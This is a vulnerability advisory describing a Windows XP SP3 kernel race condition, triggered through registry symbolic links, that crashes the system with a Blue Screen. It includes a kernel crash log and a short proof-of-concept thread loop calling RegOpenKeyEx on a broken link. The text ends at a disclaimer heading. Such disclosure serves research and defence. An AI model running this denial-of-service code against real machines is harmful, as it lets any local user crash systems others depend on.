Windows XP SP3 Kernel Registry Race Condition Denial of Service

by Matthew "j00ru" Jurczyk and Gynvael Coldwind
Hispasec

1. Basic Information

Name	Windows XP SP3 Kernel Registry Race Condition Denial of Service
Class	Race Condition
Impact	Medium
Credits	Matthew "j00ru" Jurczyk, Gynvael Coldwind
Discovered	2008-12-14
Published	2010-05-29

2. Abstract

Microsoft Windows XP is a commonly used desktop operating system, released with Service Pack 3 at the time of writing this paper.
The vulnerable system component is heart of Windows NT family – the *ntoskrnl.exe* kernel executable itself. It is responsible for performing nearly all the critical system operations – most of the requests come from user-mode applications using the SYSENTER mechanism. System call set describes the functions available for a low-level application programmer – if one finds a denial-of-service vulnerability in a syscall handler, it is very likely he will be able to completely destroy the system's workspace and cause a hard reboot followed by a Blue Screen of Death.

The vulnerability covered in this paper relies on the fact that some very internal kernel code is not fully protected against so-called "race condition" bug during accessing a registry key *via* a symbolic link, using a standard *RegOpenKeyEx* API. It can be used to crash the machine from a restricted user's account by triggering an unhandled Access Violation exception in the kernel code.

The affected Windows versions are: Windows XP SP3 and probably all the prior NT-family systems.

3. Vulnerability details

The vulnerability apparently has to do with "symbolic linking" and caching mechanisms The necessary environment can be easily set up by any type of user – one essential component of the exploitation process is an invalid symbolic link, say, with the "\Reg" contents, being an incomplete part of a valid internal registry path.

Obviously, a reference to a registry path containing the above link will fail from evident reasons, but what if a program tried to access such keys thousands times a second?
It turns out that the Windows XP system is not able to safely handle that request amount, consequently leading to an invalid memory reference exception and Blue Screen of Death.

The following BugCheck log should provide some exact information about the system's behavior at the time of crash:

```
READ_ADDRESS:  e1aba000 Paged pool

FAULTING_IP:
nt!ObpLookupObjectName+355
805632d6 6683395c        cmp     word ptr [ecx],5Ch

MM_INTERNAL_CODE:  1

DEFAULT_BUCKET_ID:  DRIVER_FAULT

BUGCHECK_STR:  0x50

PROCESS_NAME:  a.exe

TRAP_FRAME:  f4446b5c -- (.trap 0xfffffffff4446b5c)
ErrCode = 00000000
eax=00f80017 ebx=f4446c68 ecx=e1aba000 edx=00000019 esi=0052005c edi=00000000
eip=805632d6 esp=f4446bd0 ebp=f4446c28 iopl=0         nv up ei ng nz ac pe cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010297
nt!ObpLookupObjectName+0x355:
805632d6 6683395c        cmp     word ptr [ecx],5Ch       ds:0023:e1aba000=????
Resetting default scope

LAST_CONTROL_TRANSFER:  from 805324a7 to 804e3592

STACK_TEXT:
f44466ac 805324a7 00000003 e1aba000 00000000 nt!RtlpBreakWithStatusInstruction
f44466f8 80532f7e 00000003 806ed03c c0386ae8 nt!KiBugCheckDebugBreak+0x19
f4446ad8 8053356e 00000050 e1aba000 00000000 nt!KeBugCheck2+0x574
f4446af8 80523fa0 00000050 e1aba000 00000000 nt!KeBugCheckEx+0x1b
f4446b44 804e1718 00000000 e1aba000 00000000 nt!MmAccessFault+0x6f5
f4446b44 805632d6 00000000 e1aba000 00000000 nt!KiTrap0E+0xcc
f4446c28 8056751a 00000000 f4446c68 00000040 nt!ObpLookupObjectName+0x355
f4446c7c 80567e7d 00000000 823c1bf8 f4446d01 nt!ObOpenObjectByName+0xeb
f4446d50 804de7ec 022dffb0 000f003f 022dff00 nt!NtOpenKey+0x1af
f4446d50 7c90eb94 022dffb0 000f003f 022dff00 nt!KiFastCallEntry+0xf8
WARNING: Stack unwind information not available. Following frames may be wrong.
022dff40 77dc76eb 00000088 022dff68 00000000 ntdll!KiFastSystemCallRet
022dff74 004013d3 80000001 0040c060 00000000 ADVAPI32!RegOpenKeyExA+0x119
022dffb4 7c80b683 00000000 ffffffff 0022fc30 a+0x13d3
022dffec 00000000 004013b0 00000000 00000000 kernel32!BaseThreadStart+0x37


STACK_COMMAND:  kb

FOLLOWUP_IP:
nt!ObpLookupObjectName+355
805632d6 6683395c        cmp     word ptr [ecx],5Ch

SYMBOL_STACK_INDEX:  6

SYMBOL_NAME:  nt!ObpLookupObjectName+355

FOLLOWUP_NAME:  MachineOwner
```

```
MODULE_NAME: nt

IMAGE_NAME:  ntoskrnl.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  48a4023c

FAILURE_BUCKET_ID:  0x50_nt!ObpLookupObjectName+355

BUCKET_ID:  0x50_nt!ObpLookupObjectName+355

Followup: MachineOwner
---------
```

The above log informs that the kernel was trying access a paged-pool address that no longer exists. It is very likely that the memory has just been freed by a concurrent thread operating on the same registry path.

On the author's test machine (AMD Turion X2 2.0GHz) it is enough to create 100 simultaneous threads of the following code, in order to get relatively fast results:

```
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
  HKEY hKey;
  while(1)
RegOpenKeyEx(HKEY_CURRENT_USER,"EvilLink\\asdf",0,KEY_ALL_ACCESS,&hKey
);
}
```

There is no risk of any serious system damage, since the attacker is not able to control either the accessed address or even the amount of time the system takes to crash.

4. Impact

The vunerability allows an attacker to crash a local machine, provided he can access an active user account and launch an application in its context. No special user privileges are required to perform the attack, as every user is allowed to create keys marked as "symbolic links" and reference these keys. The impact of a single attack, considering the above conditions, is rated as medium.

5. Disclaimer